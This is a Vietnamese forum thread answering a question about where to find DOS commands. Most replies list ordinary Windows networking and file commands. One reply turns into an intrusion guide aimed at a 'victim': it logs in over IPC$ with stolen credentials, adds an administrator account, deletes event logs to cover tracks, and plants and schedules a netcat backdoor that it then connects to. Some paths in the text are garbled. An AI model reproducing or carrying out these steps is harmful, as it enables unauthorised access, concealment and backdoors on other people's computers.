Download các lệnh dos ở đâu?

Các anh cho em hỏi . gần đây em đang quan tâm đến Dos. không biết em phải tìm và Dowload về các dòng lệnh về Dos ở trang nào .mong các anh chỉ cho em biết với .

Nguyen Thi Trang
Nguyen Thi Trang
Trả lời 14 năm trước
Mấy cái này trong máy của mình .Bạn tham khảo nhé

Trích dẫn:
1. Lệnh về quản lý tài nguyên chia sẻ trên mạng net share

Lệnh này có 5 cách thực hiện tương ứng với 5 cú pháp, chi tiết như sau:
Cách 1: net share
Lệnh này dùng để xem những tài nguyên mà máy mình đang chia sẻ trên mạng LAN.
Cách 2: net share sharename
Ở đây sharename là tên 1 tài nguyên (có thể là 1 thư mục, 1 ổ đĩa) mà máy của mình đã chia sẻ
trên mạng LAN. Lệnh này sẽ cho chúng ta xem chi tiết những thông tin về tài nguyên đó, các thông tin này bao gồm:
- tên chia sẻ, là tên mà các máy tính khác trong mạng LAN sẽ thấy khi truy cập vào máy mình
- đường dẫn đến nơi chứa tài nguyên được chia sẻ
- chú thích cho tài nguyên
- số lượng người dùng tối đa, tức là số người dùng lớn nhất có thể cùng truy cập và sử dụng tài nguyên đó
- người dùng, những người dùng được phép truy cập và sử dụng tài nguyên đó
- cache
Cách 3: net share sharename=driveath [/user:number | /unlimited] [/remark:"text"] [/cache:manual | documents | programs | none]
Lệnh này dùng để chia sẻ 1 tài nguyên trong máy tính của mình lên mạng LAN. Các tham số và tùy chọn bao gồm:
- sharename là tên chia sẻ, tức tên mà các máy tính khác trong mạng LAN sẽ thấy khi truy cập
vào máy mình.
- driveath là đường dẫn đầy đủ đến tài nguyên cần chia sẻ.
- [/user:number | /unlimited] là tùy chọn cho số lượng người dùng tối đa có thể cùng 1 lúc sử dụng tài nguyên đó. Nếu số lượng giới hạn thì dùng tùy chọn đầu tiên, trong đó number là số người dùng tối đa; nếu không hạn chế số người dùng thì dùng tùy chọn thứ 2.
- [/remark:"text"] là chú thích cho tài nguyên được chia sẻ, chú thích này được thay vào dòng “text” trên.
- [/cache:manual | documents | programs | none] quy ước bộ nhớ đệm cache sẽ được sử dụng cho tài nguyên được chia sẻ, các tùy chọn có thể là manual (tự động), documents (dành cho các loại tài liệu), programs (dành cho các chương trình), none (không dùng bộ nhớ đệm cache). Tùy chọn này để mặc định là tự động.
Cách 4: net share sharename [/user:number |/unlimited] [/remark:"text"] [/cache:manual | documents | programs | none]
Các tham số, tùy chọn trong lệnh này cũng có ý nghĩa giống như trong cách 3. Lệnh này dùng để điều chỉnh các thông tin liên quan về tài nguyên đã được chia sẻ.
Cách 5: net share {sharename | devicename | driveath} /delete
Lệnh này dùng để tắt bỏ sự chia sẻ 1 tài nguyên trên mạng LAN, tài nguyên này trước đó phải được chia sẻ. Các tùy chọn trong này có thể là:
- sharename: tên tài nguyên được chia sẻ.
- devicename: tên của thiết bị được chia sẻ, thiết bị này có thể là ổ cứng, ổ CD/DVD hoặc máy in.
- driveath: đường dẫn đến tài nguyên được chia sẻ.
2. Các lệnh về quản lý các dịch vụ net start, stop, pause, continue
Các lệnh này đều có chung 1 cú pháp là net {start | stop | pause | continue} service, trong đó service là tên dịch vụ. Ý nghĩa của các lệnh này tương ứng với việc bắt đầu, kết thúc, tạm ngừng và tiếp tục 1 dịch vụ trên máy tính của mình.
Riêng lệnh net start có thêm cú pháp khác là net start dùng để xem các dịch vụ đang chạy trên máy mình.
Các lệnh này khá hữu dụng trong Windows XP. Trong Windows XP SP1, dịch vụ gửi nhận tin nhắn messenger được tự động bật khi khởi động Windows, và để gửi tin nhắn thì có thể dùng lệnh net send. Điều này khá tiện lợi cho người dùng vì không phải khởi động nó, tuy nhiên nó lại là nguyên nhân khiến cho 1 số chương trình lợi dụng để gửi tin nhắn tràn ngập đến máy nạn nhân (ví dụ chương trình NetView). Do đó, để ngăn chặn tình trạng bị ngập lụt này, hãy dùng lệnh net stop messenger để tắt dịch vụ gửi nhận tin nhắn đó đi. Khi nào cần thiết sử dụng lại thì mở nó bằng lệnh net start messenger.
Tuy nhiên điều này lại hoàn toàn khác biệt trong Windows XP SP2. Ở đây dịch vụ này lại được mặc định là tắt. Do đó bình thường nếu gửi tin nhắn trong mạng LAN bằng lệnh net send thì không được. Muốn được sử dụng bình thường thì phải bật nó lên bằng lệnh net start messenger.
3. Lệnh duyệt các máy trong mạng LAN net view
Có 2 cú pháp tương ứng với 2 cách dùng cho lệnh này.
Cách 1: net view [\computername [/cache] | /doman[omainname]]
Nếu không có tham số, lệnh này sẽ liệt kê những máy tính trong cùng tên miền hoặc cùng nhóm với máy tính của mình.
Nếu dùng tùy chọn \computername thì lệnh sẽ liệt kê những tài nguyên được chia sẻ trên mạng
LAN bởi máy computername. Nếu bạn muốn dùng bộ nhớ đệm cache cho lệnh thì dùng thêm tùy
chọn [/cache]. Chú ý là máy tính này phải nằm trong cùng 1 tên miền với máy tính của mình.
Nếu muốn xem có những máy tính nào nằm trong tên miền domainname khác với tên miền chứa
máy tính của mình thì hãy dùng tùy chọn /doman[omainname]. Nếu trong tùy chọn này bỏ đi tên miền thì lệnh sẽ liệt kê tất cả những tên miền có trong mạng LAN.
Cách 2: net view /network:nw [\computername]
Nếu dùng có tùy chọn, lệnh sẽ liệ
t kê những tài nguyên được chia sẻ bởi máy tính computername nằm trong một mạng khác (nhưng cùng nằm trong LAN). Nếu dùng không có tùy chọn, lệnh sẽ liệt kê những mạng khác nằm trong cùng LAN với máy tính của mình.
4. Lệnh quản lý tài nguyên được chia sẻ và đang được sử dụng net file
Cú pháp của lệnh này như sau: net file [id [/close]]
Nêú không có tùy chọn nào, lệnh sẽ liệt kê tất cả những tài nguyên được chia sẻ và đang được sử
dụng. Danh sách liệt kê sẽ chỉ ra số hiệu id của tài nguyên và tên người sử dụng.
Nếu có tham số id, lệnh sẽ liệt kê chi tiết những thông tin về tài nguyên mang số hiệu id đang được sử dụng. Nếu có thêm tham số /close trong trường hợp này, thì lệnh sẽ ngắt kết nối của người sử dụng đối với tài nguyên này.
5. Lệnh quản lý tiến trình người dùng net session
Cú pháp lệnh này như sau: net session [\computername] [/delete]
Nếu không có tùy chọn, lệnh sẽ liệt kê những tiến trình đang được tạo ra để liên kết tới máy mình, nói cách khác là nó sẽ liệt kê danh sách những người đang truy cập máy mình.
Nếu có thêm tùy chọn [\computername], lệnh sẽ liệt kê những thông tin chi tiết về máy tính computername, trong đó máy này phải đang truy cập vào máy tính của mình.
Nếu có thêm tùy chọn [/delete] thì lệnh sẽ chấm dứt tiến trình đang được tạo ra. Nếu không có tùy chọn trước đó [\computername] thì lệnh sẽ chấm dứt mọi tiến trình liên quan đến máy của chúng ta, còn nếu có thì sẽ chỉ chấm dứt tiến trình tạo bởi máy tính \computername
Trích dẫn:
i. Các lệnh nội trú
lệnh nội trú là những lệnh thi hành những chức năng của hđh, thường xuyên được sử dụng, được lưu trữ vào bộ nhớ của máy tính từ khi khởi động và thường trú ở trong đó cho tới khi tắt máy.
Cách viết chung:
1.1. Một số lệnh về hệ thống
. Lệnh xem và sửa ngày: Date
current date is sat 02-04-2000
enter new date (mm-dd-yy)
lúc này có hai tuỳ chọn
nếu không thay đổi ngày giờ gõ enter
nếu sửa ngày hiện hành ở dòng một thì sửa theo khuôn mẫu (tháng -ngày-năm).
Bạn hãy thay đổi ngày lại cho máy tính ví dụ 31/07/2004.
. Lệnh xem và sửa giờ: Time
current time is 4:32:35.23a
enter new time:
Lúc này có hai lựa chọn:
-nếu không sửa giờ hiện hành của dòng một thì gõ enter
- nếu sửa giờ hiện hành thì sửa theo khuôn mẫu (giờ: Phút:giây.% giây)
bạn hãy thay đổi giờ lại cho máy tính thành 05 giờ 05 phút.
. Lệnh thay đổi dấu nhắc lệnh của dos: Prompt
lệnh thay đổi dấu đợi lệnh để có thể hiện thị một số thông tin hiện hành theo ý riêng của người sử dụng.
Prompt [chuỗi ký tự]
$p: Thư mục hiện hành $d: Ngày hiện hành
$g: Dấu > $t: Giờ hiện hành
$: Xuống dòng
ví dụ: C>prompt $t $p$g
. Lệnh xem phiên bản dos: Ver
ver
bạn muốn xem hiện tại mình đang giao tiếp với hđh ms-dos là phiên bản nào.
Ví dụ: C:ver
windows 98 [version 4.10.2222]
. Lệnh xoá màn hình: Cls
cls
lệnh xoá toàn bộ dữ liệu trên màn hình đưa con trỏ về góc trên cùng bên trái màn hình.
. Chuyển đổi ổ đĩa
gõ tên ổ đĩa và dấu hai chấm, sau đó nhấn enter.
Ví dụ: A: C:

1.2. Các lệnh về thư mục
. Lệnh xem nội dung thư mục.
Dir [drive:] [path] [tên thư mục] [/a][/s]{/p][w]}
trong đó: /p : để xem từng trang
/w: Trình bày theo hàng ngang
/a : Xem các tập tin có thuộc tính ẩn và hệ thống
/s: Xem cả thư mục con
ví dụ:
Dir c:windows /p /w
lệnh trên sẽ hiển thị các tệp, thư mục thuộc thư mục windows nằm trong thư mục gốc ổ đĩa c thành 5 hàng và dừng lại sau khi hiển thị hết một trang màn hình. Muốn xem tiếp chỉ việc nhấn một phím bất kỳ.
. Lệnh chuyển về thư mục gốc và vào một thư mục nào đó.
+ chuyển từ thư mục hiện thời về thư mục gốc của ổ đĩa hiện hành.
Cd
+ lệnh chuyển về cấp thư mục cao hơn một bậc.
Cd..
+ chuyển vào một thư mục
lệnh này thay đổi thư mục hiện hành cần làm việc của đĩa nào đó
cd [drive:][path] ( tên thư mục cần vào)
ví dụ:
- từ thư mục c: chuyển vào thư mục daihoc (thư mục daihoc nằm trên ổ đĩa c)
c:cd daihoc
c:daihoc>_
- từ thư mục daihoc, chuyển sang thư mục baitap( thư mục baitap nằm trên ổ đĩa c)
c:daihoc>cd baitap
c:daihocaitap>_
. Lệnh xem ý nghĩa của câu lệnh
c:> [tên lệnh] /?
Ví dụ: Xem ý nghĩa của câu lệnh cd
c:cd /?
. Lệnh tạo thư mục con(md):
Md [drive:][path]
[drive:][path] : Chỉ ra đường dẫn đến nơi cần tạo thư mục.
Ví dụ:
C:md hoc tạo thư mục hoc trên thư mục gốc của ổ đĩa c
c:md hochocdos tạo thư mục hocdos là thư mục con cua thư mục hoc
c:md a:daihoc tạo thư mục daihoc trên ổ đĩa a
.lệnh xoá thư mục con(rd)
lệnh huỷ bỏ (xoá) thư mục:
Rd [drive:][path]
chú ý: Thư mục cần xoá không phi là thư mục hiện hành và phi là thư mục rỗng (empty directory) ( tức là không có một tệp hay một thư mục nào năm trong nó).
Ví dụ: C: d daihoc xoá thư mục daihoc( là thư mục rỗng) trên ổ đĩa c
1.3. Các lệnh làm việc với tập tin
. Lệnh sao chép tập tin(copy):
Lệnh này sao chép một hay một nhóm tệp từ thư mục này sang thư mục khác.
Copy [drive1:][path1][filename 1] [drive2:][path2][filename 2]
copy [ổ đĩa][đường dẫn][tên tệp nguồn] ổ đĩa ][đường dẫn đích]
ví dụ1: Chép tệp baocao.vns từ thư mục a:ked vào thư mục gốc của ổ đĩa c: Và lấy tên là baocao.vns.
C:>copy a:kedaocao.vns
ví dụ2: Sao chép tệp tuhoc.txt từ thư mục gốc ổ đĩa c thành tệp hocthuoc.txt ở thư mục hoc nằm trong thư mục gố ổ đĩa a.
C:copy c: uhoc.txt a:hochocthuoc.txt
lệnh cộng tệp:
Cộng nội dung file:
Copy [ổ đĩa][đường dẫn][tên tệp 1]+[ổ đĩa][đường dẫn] [tên tệp 2]+ ... [ổ đĩa][đường dẫn][tên tệp mới]
trong cú pháp trên lệnh sẽ thực hiện như sau:
Lần lượt cộng nội dung của các tệp: Tên tệp 1, tên tệp 2, ... Thành một tệp duy nhất có tên là tên tệp mới.
Chú ý: Trước tên tệp mới không có dấu (+), còn trước tên tệp muốn công phi có dấu cộng.
Ví dụ: C:copy cd1.txt+cd2.txt+cd3.txt c:mydocu~1cd.txt
lệnh tạo tệp tin(copy con):
Tạo ra file để lưu trữ nội dung của một vấn đề nào đó.
C:copy con [drive:][path][file name]
.... Nhập nội dung của tệp
f6
1 file(s) is copied
c:\_
(nếu như tệp được tạo thì sau khi nhấn f6 sẽ có thông báo: 1 file(s) is copied trên màn hình, nếu như tệp không được tạo vì một lý do nào đó thì dòng thông báo sẽ là 0 file(s) is copied)
ví dụ: C:>copy con baitho.txt tạo tệp baitho.txt trên ổ đĩa c
. Lệnh xem nội dung tập tin (type):
Lệnh dùng để xem (hiển thị) nội dung một tệp tin trên màn hình.
Type <đường dẫn><tệp dung nội xem muốn tin>
sau khi nhập đúng đường dẫn và tập tin thì nội dung sẽ được hiển thị trên màn hình.
Nếu như trong cú pháp trên không đúng hoặc sai tên tệp tin, đường dẫn thì sẽ có dòng
thông báo lỗi hiển thị ví dụ như:
- bad command or filename
- invalid drive specification
- path not found - ...
- requirent parameter missing
ví dụ: C:>type baitho.txt dùng để xem nội dung tập tin baitho.txt
trên ổ đĩa c.
. đổi tên tệp tin(ren):
Thay đổi tên file còn nội dung thì giữ nguyên.
Ren [d:][path][filename]
ví dụ: C: en vanban huvien.doc vanbanhopdong.txt¿
đổi tên file thuvien.doc thành file hopdong.txt nằm trong cùng một thư mục.
Hoang Trung Thuc
Hoang Trung Thuc
Trả lời 14 năm trước

Lệnh trong dos thì vô vàn lắm bạn ạ chẳng ai trên thế giới nói là biết được hết các lệnh trong dos đâu
bạn hãy biết các lệnh cơ bạn này trc đã nhé

Trích dẫn:

1. Lệnh Ping : Cú pháp: Code: ping ip/host [/t][/a][/l][/n] - ip: địa chỉ IP của máy cần kiểm tra; host là tên của máy tính cần kiểm tra. Người ta có thể sử dụng địa chỉ IP hoặc tên của máy tính. - Tham số /t: Sử dụng tham số này để máy tính liên tục "ping" đến máy tính đích, cho đến khi bạn bấm Ctrl + C - Tham số /a: Nhận địa chỉ IP từ tên host - Tham số /l : Xác định độ rộng của gói tin gửi đi kiểm tra. Một số hacker sử dụng tham số này để tấn công từ chối dịch vụ một máy tính (Ping of Death - một loại DoS), nhưng tôi nghĩ là hacker có công cụ riêng để ping một gói tin lớn như thế này, và phải có nhiều máy tính cùng ping một lượt. - Tham số /n : Xác định số gói tin sẽ gửi đi. Ví dụ: ping 174.178.0.1/n 5 Công dụng : + Lệnh này được sử dụng để kiểm tra xem một máy tính có kết nối với mạng không. Lệnh Ping sẽ gửi các gói tin từ máy tính bạn đang ngồi tới máy tính đích. Thông qua giá trị mà máy tính đích trả về đối với từng gói tin, bạn có thể xác định được tình trạng của đường truyền (chẳng hạn: gửi 4 gói tin nhưng chỉ nhận được 1 gói tin, chứng tỏ đường truyền rất chậm (xấu)). Hoặc cũng có thể xác định máy tính đó có kết nối hay không (Nếu không kết nối,kết quả là Unknow host)....
2. Lệnh Tracert : Cú pháp : Code: tracert ip/host Công dụng : + Lệnh này sẽ cho phép bạn "nhìn thấy" đường đi của các gói tin từ máy tính của bạn đến máy tính đích, xem gói tin của bạn vòng qua các server nào, các router nào... Quá hay nếu bạn muốn thăm dò một server nào đó.
3. Lệnh Net Send, gởi thông điệp trên mạng (chỉ sử dụng trên hệ thống máy tình Win NT/2000/XP): Cú pháp: Net send ip/host thông_điệp_muốn_gởi Công dụng: + Lệnh này sẽ gửi thông điệp tới máy tính đích (có địa chỉ IP hoặc tên host thông điệp: thông_điệp_muốn_gởi. + Trong mạng LAN, ta có thể sử dụng lệnh này để chat với nhau. Trong phòng vi tính của trường tui thường dùng lệnh này để ghẹo mọi người! Bạn cũng có thể gởi cho tất cả các máy tính trong mạng LAN theo cấu trúc sau : Code: Net send * hello!I'm pro_hacker_invn
4. Lệnh Netstat : Cú pháp: Code: Netstat [/a][/e][/n] - Tham số /a: Hiển thị tất cả các kết nối và các cổng đang lắng nghe (listening) - Tham số /e: hiển thị các thông tin thống kê Ethernet - Tham số /n: Hiển thị các địa chỉ và các số cổng kết nối... Ngoải ra còn một vài tham số khác, hãy gõ Netstat/? để biết thêm Công dụng : + Lệnh Netstat cho phép ta liệt kê tất cả các kết nối ra và vào máy tính của chúng ta.
5. Lệnh IPCONFIG : Cú pháp: Code: ipconfig /all Công dụng: + Lệnh này sẽ cho phép hiển thị cấu hình IP của máy tính bạn đang sử dụng, như tên host , địa chỉ IP, mặt nạ mạng...
6. Lệnh FTP (truyền tải file): Cú pháp: Code: ftp ip/host Nếu kết nối thành công đến máy chủ, bạn sẽ vào màn hình ftp, có dấu nhắc như sau: Code: ftp>_ Tại đây, bạn sẽ thực hiện các thao tác bằng tay với ftp, thay vì dùng các chương trình kiểu Cute FTP, Flash FXP. Nếu kết nối thành công, chương trình sẽ yêu cầu bạn nhập User name, Password. Nếu username và pass hợp lệ, bạn sẽ được phép upload, duyệt file... trên máy chủ. Một số lệnh ftp cơ bản: -cd thu_muc: chuyển sang thư mục khác trên máy chủ - dir: Xem danh sách các file và thư mục của thư mục hiện thời trên máy chủ - mdir thu_muc: Tạo một thư mục mới có tên thu_muc trên máy chủ - rmdir thu_muc: Xoá (remove directory) một thư mục trên máy chủ - put file: tải một file file (đầy đủ cả đường dẫn. VD: c: pinaitap.exe) từ máy bạn đang sử dụng lên máy chủ. - close: Đóng phiên làm việc - quit: Thoát khỏi chương trình ftp, quay trở về chế độ DOS command. Ngoài ra còn một vài lệnh nữa, xin mời các bạn tự tìm hiểu. Công dụng : + FTP là một giao thức được sử dụng để gửi và nhận file giữa các máy tính với nhau. Windows đã cài đặt sẵn lệnh ftp, có tác dụng như một chương trình chạy trên nền console (văn bản), cho phép thực hiện kết nối đến máy chủ ftp
7. Lệnh Net View : Cú pháp: Code: Net View [\computer|/Domain[:ten_domain]] Công dụng: + Nếu chỉ đánh net view [enter], nó sẽ hiện ra danh sách các máy tính trong mạng cùng domain quản lý với máy tính bạn đang sử dụng. + Nếu đánh net view \tenmaytinh, sẽ hiển thị các chia sẻ tài nguyên của máy tính tenmaytinh . Sau khi sử dụng lệnh này, các bạn có thể sử dụng lệnh net use để sử dụng các nguồn tài nguyên chia sẻ này.
8. Lệnh Net Use : Cú pháp: Code: Net use \ipipc$ "pass" /user:"***" - ip: địa chỉ IP của victim. - ***: user của máy victim - pass: password của user Giả sử ta có đc user và pass của victim có IP là 68.135.23.25 trên net thì ta đã có thể kết nối đến máy tính đó rùi đấy! Ví dụ: user: vitim ; pass :12345 . Ta dùng lệnh sau: Code: Net use \68.135.23.25ipc$ "12345" /user:"victim" Công dụng: + kết nói một IPC$ đến máy tính victim (bắt đầu quá trình xâm nhập).
9. Lệnh Net User : Cú pháp: Code: Net User [username pass] [/add] - Username : tên user cấn add - pass : password của user cần add Khi đã add đc user vào rùi thì ta tiến hành add user này vào nhóm administrator. Code: Net Localgroup Adminstrator [username] [/add] Công dụng: + Nếu ta chỉ đánh lệnh Net User thì sẽ hiển thị các user có trong máy tính. + Nếu ta đánh lệnh Net User [username pass] [/add] thì máy tính sẽ tiến hành thêm một người dùng vào. Ví dụ: ta tiến hành add thêm một user có tên là xuanhoa , password là :banvatoi vào với cấu trúc lệnh như sau: Code: Net User xuanhoa banvatoi /add Sau đó add user xuanhoa vào nhóm adminnistrator Code: Net Localgroup Administrator xuanhoa /add
10. Lệnh Shutdown: Cú pháp: Code: Shutdown [-m \ip] [-t xx] [-i] [-l] [-s] [-r] [-a] [-f] [-c "commet] [-d upx:yy] (áp dụng cho win XP) - Tham số -m\ip : ra lệnh cho một máy tính từ xa thực hiên các lệnh shutdown, restart,.. - Tham số -t xx : đặt thời gian cho việc thực hiện lệnh shutdown. - Tham số -l : logg off (lưu ý ko thể thực hiện khi remote) - Tham số -s : shutdown - Tham số -r : shutdown và restart - Tham số -a : không cho shutdown - Tham số -f : shutdown mà ko cảnh báo - Tham số -c "comment" : lời cảnh báo trước khi shutdown - Tham số -d upx:yy : ko rõ Code: shutdown \ip (áp dụng win NT) Để rõ hơn về lệnh shutdown bạn có thể gõ shutdown /? để được hướng dẫn cụ thể hơn! Công dụng: + Shutdown máy tính.
11. Lệnh DIR : Cú pháp: Code: DIR [drive:][path][filename] Lệnh này quá căn bản rùi, chắc tui khỏi hướng dẫn, để rõ hơn bạn đánh lệnh DIR /? để được hướng dẫn. Công dụng: + Để xem file, folder.
12. Lệnh DEL : Cú pháp: Code: DEL [drive:][path][filename] Lệnh này cũng căn bản rùi, ko phải nói nhìu. Công dụng: Xóa một file, thông thường sau khi xâm nhập vào hệ thống, ta phái tiến hành xóa dấu vết của mình để khỏi bị phát hiện.Sau đây là những files nhật ký của Win NT: Code: del C:winntsystem32logfiles*.* del C:winntssytem32config*.evt del C:winntsystem32dtclog*.* del C:winntsystem32*.log del C:winntsystem32*.txt del C:winnt*.txt del C:winnt*.log
13. Lệnh tạo ổ đĩa ảo trên computer: Cú pháp: Code: Net use z: \ipC$ ( hoặc là IPC$ ) - Z là của mình...còn C$ là của Victim Công dụng: Tạo 1 đĩa ảo trên máy tính (lệnh này tui ko rõ nên ko thể hướng dẫn chi tiết đc)
14. Lệnh Net Time : Cú pháp: Code: Net Time \ip Công dụng: + Cho ta biết thời gian của victim, sau đó dùng lệnh AT để khởi động chương trình.
15. Lệnh AT: Cú pháp: Code: AT \ip Công dụng: + Thông thường khi xâm nhập vào máy tính victim khi rút lui thì ta sẽ tặng quà lưu niệm lên máy tính victim, khi đã copy troj hoặc backdoor lên máy tính rùi ta sẽ dùng lệnh at để khởi động chúng. Ví dụ: ở đây tui có con troj tên nc.exe (NC là từ viết tắc của NETCAT....nó là một telnet sever với port 99) và đc copy lên máy victim rùi. Đầu tiên ta cần biết thời gian của victim có IP là : 68.135.23.25 . Code: Net Time \68.135.23.25 Bây h nó sẽ phản hồi cho ta thời gian của victim, ví dụ : 12:00. Code: AT \68.135.23.25 12:3 nc.exe Đợi đến 12:3 là nó sẽ tự chạy trên máy nạn nhân và chúng ta có thể connected đến port 99.
16. Lệnh Telnet: Cú pháp: Code: telnet host port Gõ telnet /? để biết thêm chi tiết. Nhưng nếu như máy victim đã dính con nc rồi thì ta chỉ cần connect đến port 99 là OKie Code: telnet 68.135.23.25 99 Công dụng: + Kết nối đến host qua port xx
17. Lệnh COPY: Cú pháp: Code: COPY /? Dùng lệnh trên để rõ hơn! Công dụng: + Copy file, tui khỏi nói thêm nhé. Ví dụ:chúng ta copy files index trên ổ C của mình lên ổ C của 127.0.0.1 Code: Copy Index.html \127.0.0.1C$index.html nếu bạn copy lên folder winNt Code: Copy index.html \127.0.0.1admin$index.html muốn copy files trên máy victm thì bạn gõ vào : Code: Copy \127.0.0.1Admin$ epairsam._c:
18. Lệnh SET: Cú pháp: Code: SET Công dụng: + Displays, sets, or removes cmd.exe enviroment variables. 19. Lệnh Nbtstat: Cú pháp: Code: Nbtstat /? Gõ lệnh trên để rõ hơn về lệnh này. Công dụng: + Display protocol statistic and curent TCP/IP connections using NBT (netbios over TCP?IP) Trên đây là một số hiểu biết hạn hẹp của em về các lệnh CMD, em đã đọc được từ rất nhiều nguồn khác nhau, nay tổng hợp lại cho mọi người tham khảo. Có một số lệnh em vẫn chưa hiểu cấu trúc lệnh và chưa có điều kiện để thực hành thử nên ko hướng dẫn kỹ. Ai biết thì góp ý nhé! Mong các pro đừng cười! Nếu thấy bài viết của em hay thì làm ơn thank cho một cái nhé
Tham khảo thêm:Full Direct

Nguyen The Hoang
Nguyen The Hoang
Trả lời 14 năm trước
Một cuốn ebook cho bạn đây nè
http://www.diendantinhoc.vn/showthread.php?t=38187
bạn ko kiếm rùi
hi